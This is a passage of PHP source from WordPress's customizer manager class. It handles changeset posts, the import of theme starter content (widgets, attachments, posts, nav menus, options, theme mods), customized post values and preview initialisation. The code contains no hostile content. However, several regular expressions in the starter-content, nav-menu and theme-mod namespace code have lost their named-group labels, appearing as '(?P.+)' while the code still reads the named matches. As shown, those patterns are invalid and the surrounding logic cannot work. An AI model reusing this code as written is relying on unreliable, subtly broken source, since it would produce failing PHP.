WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_register', $this ); if ( $this->settings_previewed() ) { foreach ( $this->settings as $setting ) { $setting->preview(); } } if ( $this->is_preview() && ! is_admin() ) { $this->customize_preview_init(); } } /** * Prevents Ajax requests from following redirects when previewing a theme * by issuing a 200 response instead of a 30x. * * Instead, the JS will sniff out the location header. * * @since 3.4.0 * @deprecated 4.7.0 * * @param int $status Status. * @return int */ public function wp_redirect_status( $status ) { _deprecated_function( __FUNCTION__, '4.7.0' ); if ( $this->is_preview() && ! is_admin() ) { return 200; } return $status; } /** * Finds the changeset post ID for a given changeset UUID. * * @since 4.7.0 * * @param string $uuid Changeset UUID. * @return int|null Returns post ID on success and null on failure. */ public function find_changeset_post_id( $uuid ) { $cache_group = 'customize_changeset_post'; $changeset_post_id = wp_cache_get( $uuid, $cache_group ); if ( $changeset_post_id && 'customize_changeset' === get_post_type( $changeset_post_id ) ) { return $changeset_post_id; } $changeset_post_query = new WP_Query( array( 'post_type' => 'customize_changeset', 'post_status' => get_post_stati(), 'name' => $uuid, 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ) ); if ( ! empty( $changeset_post_query->posts ) ) { // Note: 'fields'=>'ids' is not being used in order to cache the post object as it will be needed. $changeset_post_id = $changeset_post_query->posts[0]->ID; wp_cache_set( $uuid, $changeset_post_id, $cache_group ); return $changeset_post_id; } return null; } /** * Gets changeset posts. * * @since 4.9.0 * * @param array $args { * Args to pass into `get_posts()` to query changesets. * * @type int $posts_per_page Number of posts to return. Defaults to -1 (all posts). * @type int $author Post author. Defaults to current user. * @type string $post_status Status of changeset. Defaults to 'auto-draft'. * @type bool $exclude_restore_dismissed Whether to exclude changeset auto-drafts that have been dismissed. Defaults to true. * } * @return WP_Post[] Auto-draft changesets. */ protected function get_changeset_posts( $args = array() ) { $default_args = array( 'exclude_restore_dismissed' => true, 'posts_per_page' => -1, 'post_type' => 'customize_changeset', 'post_status' => 'auto-draft', 'order' => 'DESC', 'orderby' => 'date', 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ); if ( get_current_user_id() ) { $default_args['author'] = get_current_user_id(); } $args = array_merge( $default_args, $args ); if ( ! empty( $args['exclude_restore_dismissed'] ) ) { unset( $args['exclude_restore_dismissed'] ); $args['meta_query'] = array( array( 'key' => '_customize_restore_dismissed', 'compare' => 'NOT EXISTS', ), ); } return get_posts( $args ); } /** * Dismisses all of the current user's auto-drafts (other than the present one). * * @since 4.9.0 * @return int The number of auto-drafts that were dismissed. */ protected function dismiss_user_auto_draft_changesets() { $changeset_autodraft_posts = $this->get_changeset_posts( array( 'post_status' => 'auto-draft', 'exclude_restore_dismissed' => true, 'posts_per_page' => -1, ) ); $dismissed = 0; foreach ( $changeset_autodraft_posts as $autosave_autodraft_post ) { if ( $autosave_autodraft_post->ID === $this->changeset_post_id() ) { continue; } if ( update_post_meta( $autosave_autodraft_post->ID, '_customize_restore_dismissed', true ) ) { ++$dismissed; } } return $dismissed; } /** * Gets the changeset post ID for the loaded changeset. * * @since 4.7.0 * * @return int|null Post ID on success or null if there is no post yet saved. */ public function changeset_post_id() { if ( ! isset( $this->_changeset_post_id ) ) { $post_id = $this->find_changeset_post_id( $this->changeset_uuid() ); if ( ! $post_id ) { $post_id = false; } $this->_changeset_post_id = $post_id; } if ( false === $this->_changeset_post_id ) { return null; } return $this->_changeset_post_id; } /** * Gets the data stored in a changeset post. * * @since 4.7.0 * * @param int $post_id Changeset post ID. * @return array|WP_Error Changeset data or WP_Error on error. */ protected function get_changeset_post_data( $post_id ) { if ( ! $post_id ) { return new WP_Error( 'empty_post_id' ); } $changeset_post = get_post( $post_id ); if ( ! $changeset_post ) { return new WP_Error( 'missing_post' ); } if ( 'revision' === $changeset_post->post_type ) { if ( 'customize_changeset' !== get_post_type( $changeset_post->post_parent ) ) { return new WP_Error( 'wrong_post_type' ); } } elseif ( 'customize_changeset' !== $changeset_post->post_type ) { return new WP_Error( 'wrong_post_type' ); } $changeset_data = json_decode( $changeset_post->post_content, true ); $last_error = json_last_error(); if ( $last_error ) { return new WP_Error( 'json_parse_error', '', $last_error ); } if ( ! is_array( $changeset_data ) ) { return new WP_Error( 'expected_array' ); } return $changeset_data; } /** * Gets changeset data. * * @since 4.7.0 * @since 4.9.0 This will return the changeset's data with a user's autosave revision merged on top, if one exists and $autosaved is true. * * @return array Changeset data. */ public function changeset_data() { if ( isset( $this->_changeset_data ) ) { return $this->_changeset_data; } $changeset_post_id = $this->changeset_post_id(); if ( ! $changeset_post_id ) { $this->_changeset_data = array(); } else { if ( $this->autosaved() && is_user_logged_in() ) { $autosave_post = wp_get_post_autosave( $changeset_post_id, get_current_user_id() ); if ( $autosave_post ) { $data = $this->get_changeset_post_data( $autosave_post->ID ); if ( ! is_wp_error( $data ) ) { $this->_changeset_data = $data; } } } // Load data from the changeset if it was not loaded from an autosave. if ( ! isset( $this->_changeset_data ) ) { $data = $this->get_changeset_post_data( $changeset_post_id ); if ( ! is_wp_error( $data ) ) { $this->_changeset_data = $data; } else { $this->_changeset_data = array(); } } } return $this->_changeset_data; } /** * Starter content setting IDs. * * @since 4.7.0 * @var array */ protected $pending_starter_content_settings_ids = array(); /** * Imports theme starter content into the customized state. * * @since 4.7.0 * * @param array $starter_content Starter content. Defaults to `get_theme_starter_content()`. */ public function import_theme_starter_content( $starter_content = array() ) { if ( empty( $starter_content ) ) { $starter_content = get_theme_starter_content(); } $changeset_data = array(); if ( $this->changeset_post_id() ) { /* * Don't re-import starter content into a changeset saved persistently. * This will need to be revisited in the future once theme switching * is allowed with drafted/scheduled changesets, since switching to * another theme could result in more starter content being applied. * However, when doing an explicit save it is currently possible for * nav menus and nav menu items specifically to lose their starter_content * flags, thus resulting in duplicates being created since they fail * to get re-used. See #40146. */ if ( 'auto-draft' !== get_post_status( $this->changeset_post_id() ) ) { return; } $changeset_data = $this->get_changeset_post_data( $this->changeset_post_id() ); } $sidebars_widgets = isset( $starter_content['widgets'] ) && ! empty( $this->widgets ) ? $starter_content['widgets'] : array(); $attachments = isset( $starter_content['attachments'] ) && ! empty( $this->nav_menus ) ? $starter_content['attachments'] : array(); $posts = isset( $starter_content['posts'] ) && ! empty( $this->nav_menus ) ? $starter_content['posts'] : array(); $options = isset( $starter_content['options'] ) ? $starter_content['options'] : array(); $nav_menus = isset( $starter_content['nav_menus'] ) && ! empty( $this->nav_menus ) ? $starter_content['nav_menus'] : array(); $theme_mods = isset( $starter_content['theme_mods'] ) ? $starter_content['theme_mods'] : array(); // Widgets. $max_widget_numbers = array(); foreach ( $sidebars_widgets as $sidebar_id => $widgets ) { $sidebar_widget_ids = array(); foreach ( $widgets as $widget ) { list( $id_base, $instance ) = $widget; if ( ! isset( $max_widget_numbers[ $id_base ] ) ) { // When $settings is an array-like object, get an intrinsic array for use with array_keys(). $settings = get_option( "widget_{$id_base}", array() ); if ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) { $settings = $settings->getArrayCopy(); } unset( $settings['_multiwidget'] ); // Find the max widget number for this type. $widget_numbers = array_keys( $settings ); if ( count( $widget_numbers ) > 0 ) { $widget_numbers[] = 1; $max_widget_numbers[ $id_base ] = max( ...$widget_numbers ); } else { $max_widget_numbers[ $id_base ] = 1; } } $max_widget_numbers[ $id_base ] += 1; $widget_id = sprintf( '%s-%d', $id_base, $max_widget_numbers[ $id_base ] ); $setting_id = sprintf( 'widget_%s[%d]', $id_base, $max_widget_numbers[ $id_base ] ); $setting_value = $this->widgets->sanitize_widget_js_instance( $instance ); if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) { $this->set_post_value( $setting_id, $setting_value ); $this->pending_starter_content_settings_ids[] = $setting_id; } $sidebar_widget_ids[] = $widget_id; } $setting_id = sprintf( 'sidebars_widgets[%s]', $sidebar_id ); if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) { $this->set_post_value( $setting_id, $sidebar_widget_ids ); $this->pending_starter_content_settings_ids[] = $setting_id; } } $starter_content_auto_draft_post_ids = array(); if ( ! empty( $changeset_data['nav_menus_created_posts']['value'] ) ) { $starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, $changeset_data['nav_menus_created_posts']['value'] ); } // Make an index of all the posts needed and what their slugs are. $needed_posts = array(); $attachments = $this->prepare_starter_content_attachments( $attachments ); foreach ( $attachments as $attachment ) { $key = 'attachment:' . $attachment['post_name']; $needed_posts[ $key ] = true; } foreach ( array_keys( $posts ) as $post_symbol ) { if ( empty( $posts[ $post_symbol ]['post_name'] ) && empty( $posts[ $post_symbol ]['post_title'] ) ) { unset( $posts[ $post_symbol ] ); continue; } if ( empty( $posts[ $post_symbol ]['post_name'] ) ) { $posts[ $post_symbol ]['post_name'] = sanitize_title( $posts[ $post_symbol ]['post_title'] ); } if ( empty( $posts[ $post_symbol ]['post_type'] ) ) { $posts[ $post_symbol ]['post_type'] = 'post'; } $needed_posts[ $posts[ $post_symbol ]['post_type'] . ':' . $posts[ $post_symbol ]['post_name'] ] = true; } $all_post_slugs = array_merge( wp_list_pluck( $attachments, 'post_name' ), wp_list_pluck( $posts, 'post_name' ) ); /* * Obtain all post types referenced in starter content to use in query. * This is needed because 'any' will not account for post types not yet registered. */ $post_types = array_filter( array_merge( array( 'attachment' ), wp_list_pluck( $posts, 'post_type' ) ) ); // Re-use auto-draft starter content posts referenced in the current customized state. $existing_starter_content_posts = array(); if ( ! empty( $starter_content_auto_draft_post_ids ) ) { $existing_posts_query = new WP_Query( array( 'post__in' => $starter_content_auto_draft_post_ids, 'post_status' => 'auto-draft', 'post_type' => $post_types, 'posts_per_page' => -1, ) ); foreach ( $existing_posts_query->posts as $existing_post ) { $post_name = $existing_post->post_name; if ( empty( $post_name ) ) { $post_name = get_post_meta( $existing_post->ID, '_customize_draft_post_name', true ); } $existing_starter_content_posts[ $existing_post->post_type . ':' . $post_name ] = $existing_post; } } // Re-use non-auto-draft posts. if ( ! empty( $all_post_slugs ) ) { $existing_posts_query = new WP_Query( array( 'post_name__in' => $all_post_slugs, 'post_status' => array_diff( get_post_stati(), array( 'auto-draft' ) ), 'post_type' => 'any', 'posts_per_page' => -1, ) ); foreach ( $existing_posts_query->posts as $existing_post ) { $key = $existing_post->post_type . ':' . $existing_post->post_name; if ( isset( $needed_posts[ $key ] ) && ! isset( $existing_starter_content_posts[ $key ] ) ) { $existing_starter_content_posts[ $key ] = $existing_post; } } } // Attachments are technically posts but handled differently. if ( ! empty( $attachments ) ) { $attachment_ids = array(); foreach ( $attachments as $symbol => $attachment ) { $file_array = array( 'name' => $attachment['file_name'], ); $file_path = $attachment['file_path']; $attachment_id = null; $attached_file = null; if ( isset( $existing_starter_content_posts[ 'attachment:' . $attachment['post_name'] ] ) ) { $attachment_post = $existing_starter_content_posts[ 'attachment:' . $attachment['post_name'] ]; $attachment_id = $attachment_post->ID; $attached_file = get_attached_file( $attachment_id ); if ( empty( $attached_file ) || ! file_exists( $attached_file ) ) { $attachment_id = null; $attached_file = null; } elseif ( $this->get_stylesheet() !== get_post_meta( $attachment_post->ID, '_starter_content_theme', true ) ) { // Re-generate attachment metadata since it was previously generated for a different theme. $metadata = wp_generate_attachment_metadata( $attachment_post->ID, $attached_file ); wp_update_attachment_metadata( $attachment_id, $metadata ); update_post_meta( $attachment_id, '_starter_content_theme', $this->get_stylesheet() ); } } // Insert the attachment auto-draft because it doesn't yet exist or the attached file is gone. if ( ! $attachment_id ) { // Copy file to temp location so that original file won't get deleted from theme after sideloading. $temp_file_name = wp_tempnam( wp_basename( $file_path ) ); if ( $temp_file_name && copy( $file_path, $temp_file_name ) ) { $file_array['tmp_name'] = $temp_file_name; } if ( empty( $file_array['tmp_name'] ) ) { continue; } $attachment_post_data = array_merge( wp_array_slice_assoc( $attachment, array( 'post_title', 'post_content', 'post_excerpt' ) ), array( 'post_status' => 'auto-draft', // So attachment will be garbage collected in a week if changeset is never published. ) ); $attachment_id = media_handle_sideload( $file_array, 0, null, $attachment_post_data ); if ( is_wp_error( $attachment_id ) ) { continue; } update_post_meta( $attachment_id, '_starter_content_theme', $this->get_stylesheet() ); update_post_meta( $attachment_id, '_customize_draft_post_name', $attachment['post_name'] ); } $attachment_ids[ $symbol ] = $attachment_id; } $starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, array_values( $attachment_ids ) ); } // Posts & pages. if ( ! empty( $posts ) ) { foreach ( array_keys( $posts ) as $post_symbol ) { if ( empty( $posts[ $post_symbol ]['post_type'] ) || empty( $posts[ $post_symbol ]['post_name'] ) ) { continue; } $post_type = $posts[ $post_symbol ]['post_type']; if ( ! empty( $posts[ $post_symbol ]['post_name'] ) ) { $post_name = $posts[ $post_symbol ]['post_name']; } elseif ( ! empty( $posts[ $post_symbol ]['post_title'] ) ) { $post_name = sanitize_title( $posts[ $post_symbol ]['post_title'] ); } else { continue; } // Use existing auto-draft post if one already exists with the same type and name. if ( isset( $existing_starter_content_posts[ $post_type . ':' . $post_name ] ) ) { $posts[ $post_symbol ]['ID'] = $existing_starter_content_posts[ $post_type . ':' . $post_name ]->ID; continue; } // Translate the featured image symbol. if ( ! empty( $posts[ $post_symbol ]['thumbnail'] ) && preg_match( '/^{{(?P.+)}}$/', $posts[ $post_symbol ]['thumbnail'], $matches ) && isset( $attachment_ids[ $matches['symbol'] ] ) ) { $posts[ $post_symbol ]['meta_input']['_thumbnail_id'] = $attachment_ids[ $matches['symbol'] ]; } if ( ! empty( $posts[ $post_symbol ]['template'] ) ) { $posts[ $post_symbol ]['meta_input']['_wp_page_template'] = $posts[ $post_symbol ]['template']; } $r = $this->nav_menus->insert_auto_draft_post( $posts[ $post_symbol ] ); if ( $r instanceof WP_Post ) { $posts[ $post_symbol ]['ID'] = $r->ID; } } $starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, wp_list_pluck( $posts, 'ID' ) ); } // The nav_menus_created_posts setting is why nav_menus component is dependency for adding posts. if ( ! empty( $this->nav_menus ) && ! empty( $starter_content_auto_draft_post_ids ) ) { $setting_id = 'nav_menus_created_posts'; $this->set_post_value( $setting_id, array_unique( array_values( $starter_content_auto_draft_post_ids ) ) ); $this->pending_starter_content_settings_ids[] = $setting_id; } // Nav menus. $placeholder_id = -1; $reused_nav_menu_setting_ids = array(); foreach ( $nav_menus as $nav_menu_location => $nav_menu ) { $nav_menu_term_id = null; $nav_menu_setting_id = null; $matches = array(); // Look for an existing placeholder menu with starter content to re-use. foreach ( $changeset_data as $setting_id => $setting_params ) { $can_reuse = ( ! empty( $setting_params['starter_content'] ) && ! in_array( $setting_id, $reused_nav_menu_setting_ids, true ) && preg_match( '#^nav_menu\[(?P-?\d+)\]$#', $setting_id, $matches ) ); if ( $can_reuse ) { $nav_menu_term_id = (int) $matches['nav_menu_id']; $nav_menu_setting_id = $setting_id; $reused_nav_menu_setting_ids[] = $setting_id; break; } } if ( ! $nav_menu_term_id ) { while ( isset( $changeset_data[ sprintf( 'nav_menu[%d]', $placeholder_id ) ] ) ) { --$placeholder_id; } $nav_menu_term_id = $placeholder_id; $nav_menu_setting_id = sprintf( 'nav_menu[%d]', $placeholder_id ); } $this->set_post_value( $nav_menu_setting_id, array( 'name' => isset( $nav_menu['name'] ) ? $nav_menu['name'] : $nav_menu_location, ) ); $this->pending_starter_content_settings_ids[] = $nav_menu_setting_id; // @todo Add support for menu_item_parent. $position = 0; foreach ( $nav_menu['items'] as $nav_menu_item ) { $nav_menu_item_setting_id = sprintf( 'nav_menu_item[%d]', $placeholder_id-- ); if ( ! isset( $nav_menu_item['position'] ) ) { $nav_menu_item['position'] = $position++; } $nav_menu_item['nav_menu_term_id'] = $nav_menu_term_id; if ( isset( $nav_menu_item['object_id'] ) ) { if ( 'post_type' === $nav_menu_item['type'] && preg_match( '/^{{(?P.+)}}$/', $nav_menu_item['object_id'], $matches ) && isset( $posts[ $matches['symbol'] ] ) ) { $nav_menu_item['object_id'] = $posts[ $matches['symbol'] ]['ID']; if ( empty( $nav_menu_item['title'] ) ) { $original_object = get_post( $nav_menu_item['object_id'] ); $nav_menu_item['title'] = $original_object->post_title; } } else { continue; } } else { $nav_menu_item['object_id'] = 0; } if ( empty( $changeset_data[ $nav_menu_item_setting_id ] ) || ! empty( $changeset_data[ $nav_menu_item_setting_id ]['starter_content'] ) ) { $this->set_post_value( $nav_menu_item_setting_id, $nav_menu_item ); $this->pending_starter_content_settings_ids[] = $nav_menu_item_setting_id; } } $setting_id = sprintf( 'nav_menu_locations[%s]', $nav_menu_location ); if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) { $this->set_post_value( $setting_id, $nav_menu_term_id ); $this->pending_starter_content_settings_ids[] = $setting_id; } } // Options. foreach ( $options as $name => $value ) { // Serialize the value to check for post symbols. $value = maybe_serialize( $value ); if ( is_serialized( $value ) ) { if ( preg_match( '/s:\d+:"{{(?P.+)}}"/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $symbol_match = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $symbol_match = $attachment_ids[ $matches['symbol'] ]; } // If we have any symbol matches, update the values. if ( isset( $symbol_match ) ) { // Replace found string matches with post IDs. $value = str_replace( $matches[0], "i:{$symbol_match}", $value ); } else { continue; } } } elseif ( preg_match( '/^{{(?P.+)}}$/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $value = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $value = $attachment_ids[ $matches['symbol'] ]; } else { continue; } } // Unserialize values after checking for post symbols, so they can be properly referenced. $value = maybe_unserialize( $value ); if ( empty( $changeset_data[ $name ] ) || ! empty( $changeset_data[ $name ]['starter_content'] ) ) { $this->set_post_value( $name, $value ); $this->pending_starter_content_settings_ids[] = $name; } } // Theme mods. foreach ( $theme_mods as $name => $value ) { // Serialize the value to check for post symbols. $value = maybe_serialize( $value ); // Check if value was serialized. if ( is_serialized( $value ) ) { if ( preg_match( '/s:\d+:"{{(?P.+)}}"/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $symbol_match = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $symbol_match = $attachment_ids[ $matches['symbol'] ]; } // If we have any symbol matches, update the values. if ( isset( $symbol_match ) ) { // Replace found string matches with post IDs. $value = str_replace( $matches[0], "i:{$symbol_match}", $value ); } else { continue; } } } elseif ( preg_match( '/^{{(?P.+)}}$/', $value, $matches ) ) { if ( isset( $posts[ $matches['symbol'] ] ) ) { $value = $posts[ $matches['symbol'] ]['ID']; } elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) { $value = $attachment_ids[ $matches['symbol'] ]; } else { continue; } } // Unserialize values after checking for post symbols, so they can be properly referenced. $value = maybe_unserialize( $value ); // Handle header image as special case since setting has a legacy format. if ( 'header_image' === $name ) { $name = 'header_image_data'; $metadata = wp_get_attachment_metadata( $value ); if ( empty( $metadata ) ) { continue; } $value = array( 'attachment_id' => $value, 'url' => wp_get_attachment_url( $value ), 'height' => $metadata['height'], 'width' => $metadata['width'], ); } elseif ( 'background_image' === $name ) { $value = wp_get_attachment_url( $value ); } if ( empty( $changeset_data[ $name ] ) || ! empty( $changeset_data[ $name ]['starter_content'] ) ) { $this->set_post_value( $name, $value ); $this->pending_starter_content_settings_ids[] = $name; } } if ( ! empty( $this->pending_starter_content_settings_ids ) ) { if ( did_action( 'customize_register' ) ) { $this->_save_starter_content_changeset(); } else { add_action( 'customize_register', array( $this, '_save_starter_content_changeset' ), 1000 ); } } } /** * Prepares starter content attachments. * * Ensure that the attachments are valid and that they have slugs and file name/path. * * @since 4.7.0 * * @param array $attachments Attachments. * @return array Prepared attachments. */ protected function prepare_starter_content_attachments( $attachments ) { $prepared_attachments = array(); if ( empty( $attachments ) ) { return $prepared_attachments; } // Such is The WordPress Way. require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; foreach ( $attachments as $symbol => $attachment ) { // A file is required and URLs to files are not currently allowed. if ( empty( $attachment['file'] ) || preg_match( '#^https?://$#', $attachment['file'] ) ) { continue; } $file_path = null; if ( file_exists( $attachment['file'] ) ) { $file_path = $attachment['file']; // Could be absolute path to file in plugin. } elseif ( is_child_theme() && file_exists( get_stylesheet_directory() . '/' . $attachment['file'] ) ) { $file_path = get_stylesheet_directory() . '/' . $attachment['file']; } elseif ( file_exists( get_template_directory() . '/' . $attachment['file'] ) ) { $file_path = get_template_directory() . '/' . $attachment['file']; } else { continue; } $file_name = wp_basename( $attachment['file'] ); // Skip file types that are not recognized. $checked_filetype = wp_check_filetype( $file_name ); if ( empty( $checked_filetype['type'] ) ) { continue; } // Ensure post_name is set since not automatically derived from post_title for new auto-draft posts. if ( empty( $attachment['post_name'] ) ) { if ( ! empty( $attachment['post_title'] ) ) { $attachment['post_name'] = sanitize_title( $attachment['post_title'] ); } else { $attachment['post_name'] = sanitize_title( preg_replace( '/\.\w+$/', '', $file_name ) ); } } $attachment['file_name'] = $file_name; $attachment['file_path'] = $file_path; $prepared_attachments[ $symbol ] = $attachment; } return $prepared_attachments; } /** * Saves starter content changeset. * * @since 4.7.0 */ public function _save_starter_content_changeset() { if ( empty( $this->pending_starter_content_settings_ids ) ) { return; } $this->save_changeset_post( array( 'data' => array_fill_keys( $this->pending_starter_content_settings_ids, array( 'starter_content' => true ) ), 'starter_content' => true, ) ); $this->saved_starter_content_changeset = true; $this->pending_starter_content_settings_ids = array(); } /** * Gets dirty pre-sanitized setting values in the current customized state. * * The returned array consists of a merge of three sources: * 1. If the theme is not currently active, then the base array is any stashed * theme mods that were modified previously but never published. * 2. The values from the current changeset, if it exists. * 3. If the user can customize, the values parsed from the incoming * `$_POST['customized']` JSON data. * 4. Any programmatically-set post values via `WP_Customize_Manager::set_post_value()`. * * The name "unsanitized_post_values" is a carry-over from when the customized * state was exclusively sourced from `$_POST['customized']`. Nevertheless, * the value returned will come from the current changeset post and from the * incoming post data. * * @since 4.1.1 * @since 4.7.0 Added `$args` parameter and merging with changeset values and stashed theme mods. * * @param array $args { * Args. * * @type bool $exclude_changeset Whether the changeset values should also be excluded. Defaults to false. * @type bool $exclude_post_data Whether the post input values should also be excluded. Defaults to false when lacking the customize capability. * } * @return array */ public function unsanitized_post_values( $args = array() ) { $args = array_merge( array( 'exclude_changeset' => false, 'exclude_post_data' => ! current_user_can( 'customize' ), ), $args ); $values = array(); // Let default values be from the stashed theme mods if doing a theme switch and if no changeset is present. if ( ! $this->is_theme_active() ) { $stashed_theme_mods = get_option( 'customize_stashed_theme_mods' ); $stylesheet = $this->get_stylesheet(); if ( isset( $stashed_theme_mods[ $stylesheet ] ) ) { $values = array_merge( $values, wp_list_pluck( $stashed_theme_mods[ $stylesheet ], 'value' ) ); } } if ( ! $args['exclude_changeset'] ) { foreach ( $this->changeset_data() as $setting_id => $setting_params ) { if ( ! array_key_exists( 'value', $setting_params ) ) { continue; } if ( isset( $setting_params['type'] ) && 'theme_mod' === $setting_params['type'] ) { // Ensure that theme mods values are only used if they were saved under the active theme. $namespace_pattern = '/^(?P.+?)::(?P.+)$/'; if ( preg_match( $namespace_pattern, $setting_id, $matches ) && $this->get_stylesheet() === $matches['stylesheet'] ) { $values[ $matches['setting_id'] ] = $setting_params['value']; } } else { $values[ $setting_id ] = $setting_params['value']; } } } if ( ! $args['exclude_post_data'] ) { if ( ! isset( $this->_post_values ) ) { if ( isset( $_POST['customized'] ) ) { $post_values = json_decode( wp_unslash( $_POST['customized'] ), true ); } else { $post_values = array(); } if ( is_array( $post_values ) ) { $this->_post_values = $post_values; } else { $this->_post_values = array(); } } $values = array_merge( $values, $this->_post_values ); } return $values; } /** * Returns the sanitized value for a given setting from the current customized state. * * The name "post_value" is a carry-over from when the customized state was exclusively * sourced from `$_POST['customized']`. Nevertheless, the value returned will come * from the current changeset post and from the incoming post data. * * @since 3.4.0 * @since 4.1.1 Introduced the `$default_value` parameter. * @since 4.6.0 `$default_value` is now returned early when the setting post value is invalid. * * @see WP_REST_Server::dispatch() * @see WP_REST_Request::sanitize_params() * @see WP_REST_Request::has_valid_params() * * @param WP_Customize_Setting $setting A WP_Customize_Setting derived object. * @param mixed $default_value Value returned if `$setting` has no post value (added in 4.2.0) * or the post value is invalid (added in 4.6.0). * @return string|mixed Sanitized value or the `$default_value` provided. */ public function post_value( $setting, $default_value = null ) { $post_values = $this->unsanitized_post_values(); if ( ! array_key_exists( $setting->id, $post_values ) ) { return $default_value; } $value = $post_values[ $setting->id ]; $valid = $setting->validate( $value ); if ( is_wp_error( $valid ) ) { return $default_value; } $value = $setting->sanitize( $value ); if ( is_null( $value ) || is_wp_error( $value ) ) { return $default_value; } return $value; } /** * Overrides a setting's value in the current customized state. * * The name "post_value" is a carry-over from when the customized state was * exclusively sourced from `$_POST['customized']`. * * @since 4.2.0 * * @param string $setting_id ID for the WP_Customize_Setting instance. * @param mixed $value Post value. */ public function set_post_value( $setting_id, $value ) { $this->unsanitized_post_values(); // Populate _post_values from $_POST['customized']. $this->_post_values[ $setting_id ] = $value; /** * Announces when a specific setting's unsanitized post value has been set. * * Fires when the WP_Customize_Manager::set_post_value() method is called. * * The dynamic portion of the hook name, `$setting_id`, refers to the setting ID. * * @since 4.4.0 * * @param mixed $value Unsanitized setting post value. * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( "customize_post_value_set_{$setting_id}", $value, $this ); /** * Announces when any setting's unsanitized post value has been set. * * Fires when the WP_Customize_Manager::set_post_value() method is called. * * This is useful for `WP_Customize_Setting` instances to watch * in order to update a cached previewed value. * * @since 4.4.0 * * @param string $setting_id Setting ID. * @param mixed $value Unsanitized setting post value. * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_post_value_set', $setting_id, $value, $this ); } /** * Prints JavaScript settings. * * @since 3.4.0 */ public function customize_preview_init() { /* * Now that Customizer previews are loaded into iframes via GET requests * and natural URLs with transaction UUIDs added, we need to ensure that * the responses are never cached by proxies. In practice, this will not * be needed if the user is logged-in anyway. But if anonymous access is * allowed then the auth cookies would not be sent and WordPress would * not send no-cache headers by default. */ if ( ! headers_sent() ) { nocache_headers(); header( 'X-Robots: noindex, nofollow, noarchive' ); header( 'X-Robots-Tag: noindex, nofollow, noarchive' ); } add_filter( 'wp_robots', 'wp_robots_no_robots' ); add_filter( 'wp_headers', array( $this, 'filter_iframe_security_headers' ) ); /* * If preview is being served inside the customizer preview iframe, and * if the user doesn't have customize capability, then it is assumed * that the user's session has expired and they need to re-authenticate. */ if ( $this->messenger_channel && ! current_user_can( 'customize' ) ) { $this->wp_die( -1, sprintf( /* translators: %s: customize_messenger_channel */ __( 'Unauthorized. You may remove the %s param to preview as frontend.' ), 'customize_messenger_channel' ) ); return; } $this->prepare_controls(); add_filter( 'wp_redirect', array( $this, 'add_state_query_params' ) ); wp_enqueue_script( 'customize-preview' ); wp_enqueue_style( 'customize-preview' ); add_action( 'wp_head', array( $this, 'customize_preview_loading_style' ) ); add_action( 'wp_head', array( $this, 'remove_frameless_preview_messenger_channel' ) ); add_action( 'wp_footer', array( $this, 'customize_preview_settings' ), 20 ); add_filter( 'get_edit_post_link', '__return_empty_string' ); /** * Fires once the Customizer preview has initialized and JavaScript * settings have been printed. * * @since 3.4.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_preview_init', $this ); } /** * Filters the X-Frame-Options and Content-Security-Policy headers to ensure frontend can load in customizer. * * @since 4.7.0 * * @param array $headers Headers. * @return array Headers. */ public function filter_iframe_security_headers( $headers ) { $headers['X-Frame-Options'] = 'SAMEORIGIN'; $headers['Content-Security-Policy'] = "frame-ancestors 'self'"; return $headers; } /** * Adds customize state query params to a given URL if preview is allowed. * * @since 4.7.0 * * @see wp_redirect() * @see WP_Customize_Manager::get_allowed_url() * * @param string $url URL. * @return string URL. */ public function add_state_query_params( $url ) { $parsed_original_url = wp_parse_url( $url ); $is_allowed = false; foreach ( $this->get_allowed_urls() as $allowed_url ) { $parsed_allowed_url = wp_parse_url( $allowed_url ); $is_allowed = ( $parsed_allowed_url['scheme'] === $parsed_original_url['scheme'] && $parsed_allowed_url['host'] === $parsed_original_url['host'] && str_starts_with( $parsed_original_url['path'], $parsed_allowed_url['path'] ) ); if ( $is_allowed ) { break; } } if ( $is_allowed ) { $query_params = array( 'customize_changeset_uuid' => $this->changeset_uuid(), ); if ( ! $this->is_theme_active() ) { $query_params['customize_theme'] = $this->get_stylesheet(); } if ( $this->messenger_channel ) { $query_params['customize_messenger_channel'] = $this->messenger_channel; } $url = add_query_arg( $query_params, $url ); } return $url; } /** * Prevents sending a 404 status when returning the response for the customize * preview, since it causes the jQuery Ajax to fail. Send 200 instead. * * @since 4.0.0 * @deprecated 4.7.0 */ public function customize_preview_override_404_status() { _deprecated_function( __METHOD__, '4.7.0' ); } /** * Prints base element for preview frame. * * @since 3.4.0 * @deprecated 4.7.0 */ public function customize_preview_base() { _deprecated_function( __METHOD__, '4.7.0' ); } /** * Prints a workaround to handle HTML5 tags in IE < 9. * * @since 3.4.0 * @deprecated 4.7.0 Customizer no longer supports IE8, so all supported browsers recognize HTML5. */ public function customize_preview_html5() { 